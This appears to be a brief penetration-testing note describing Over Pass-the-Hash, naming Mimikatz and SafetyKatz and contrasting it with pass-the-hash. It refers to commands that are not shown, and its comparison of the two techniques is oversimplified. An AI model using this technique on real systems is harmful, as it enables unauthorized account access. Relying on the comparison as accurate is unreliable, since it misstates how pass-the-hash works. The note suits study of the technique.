# Over-PassTheHash

### Over Pass-The-Hash

**Over Pass the Hash (OPTH)** is a technique used to authenticate to a system using a password hash instead of the actual password. This can be achieved using tools like Mimikatz or SafetyKatz. The provided commands illustrate how to use OPTH with Mimikatz and SafetyKatz to **generate tokens from hashes or keys** and start a new session.

**Difference between PTH and O-PTH:** 

* O-PTH is used to access services on domain joned machine. 
* Pass-The-Hash is for local users such as local administrators and replay those credentials.
